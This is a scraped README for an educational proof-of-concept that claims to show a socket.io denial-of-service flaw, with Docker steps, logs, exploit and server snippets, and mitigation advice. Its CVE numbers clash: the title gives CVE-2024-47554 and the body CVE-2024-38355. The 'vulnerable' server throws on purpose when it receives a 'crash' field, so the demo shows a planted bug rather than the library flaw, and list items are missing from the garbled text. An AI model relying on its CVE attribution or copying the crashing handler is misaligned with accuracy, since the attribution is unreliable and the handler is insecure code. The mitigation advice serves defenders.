
Proof of concept of CVE-2024-47554
This project is a Proof of Concept demonstrating CVE-2024-38355, a denial-of-service vulnerability in socket.io. The project was created for educational purposes to show the attack mechanism and how to protect applications.
This vulnerability affects socket.io versions:
A specially crafted Socket.IO packet can trigger an uncaught exception on the server, causing the Node.js process to crash. This results in a Denial of Service (DoS) attack.
How it works:
Key factors:
error event listener on the socketThe project consists of two Docker containers:
[email protected]. It has an event handler that can throw an uncaught exception when receiving malicious data.Or alternatively:
Open a terminal in the project root directory and run:
docker-compose down
docker-compose build --no-cache
docker-compose up
This will:
Terminal 1 - Start the server:
cd server
npm install
npm start
Terminal 2 - Run the exploit:
cd exploit
npm install
npm start
Server logs:
[SERVER] Running on port 3000. Waiting for connections...
[SERVER] Client connected: <socket-id>
[SERVER] Processing data: {"message":"Hello, normal request"}
[SERVER] Client disconnected: <socket-id>
[SERVER] Client connected: <socket-id>
[SERVER] Processing data: {"trigger":"crash"}
/app/index.js:24
throw new Error('Uncaught exception triggered by malicious packet');
Exploit logs:
[EXPLOIT] CVE-2024-38355 Proof of Concept
[EXPLOIT] Targeting http://vulnerable-server:3000...
[STEP 1] Testing normal connection...
[STEP 1] Connected successfully.
[STEP 1] Received response: {"status":"processed","data":{"message":"Hello, normal request"}}
[STEP 2] Sending malicious payload to trigger CVE-2024-38355...
[STEP 2] Connected. Sending crash trigger...
[STEP 2] Payload sent! Waiting for server to crash...
[STEP 2] Disconnected (server may have crashed).
[STEP 3] Checking if server is still alive...
[RESULT] SUCCESS! Server is unreachable: xhr poll error
Press Ctrl+C or run:
docker-compose down
server/index.js)socket.on('process_data', (data) => {
// VULNERABLE: No try-catch, no error handler on socket
if (data && data.trigger === 'crash') {
throw new Error('Uncaught exception'); // Crashes the process!
}
});
exploit/exploit.js)// Send malicious payload that triggers the crash
socket.emit('process_data', { trigger: 'crash' });
To protect your application from this vulnerability:
Update socket.io to version 4.6.2 or newer (the fix adds a default noop error handler).
Always attach error handlers to sockets:
socket.on('error', (err) => {
console.error('Socket error:', err);
// Handle gracefully, don't let it crash the server
});
Wrap event handlers in try-catch:
socket.on('process_data', (data) => {
try {
// Process data safely
} catch (err) {
console.error('Error processing data:', err);
socket.emit('error_response', { message: 'Invalid data' });
}
});
Add a global uncaught exception handler (as a last resort):
process.on('uncaughtException', (err) => {
console.error('Uncaught Exception:', err);
// Log and gracefully shutdown
});
Project created for educational purposes.